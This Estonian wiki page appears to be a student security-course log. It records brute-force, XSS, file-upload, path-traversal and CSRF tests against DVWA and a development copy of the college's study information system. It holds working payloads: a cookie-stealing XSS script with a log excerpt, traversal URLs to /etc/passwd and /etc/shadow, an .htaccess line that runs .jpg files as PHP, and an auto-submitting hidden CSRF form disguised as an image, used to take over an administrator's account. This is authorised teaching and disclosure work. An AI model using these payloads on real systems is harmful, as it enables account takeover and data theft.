XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
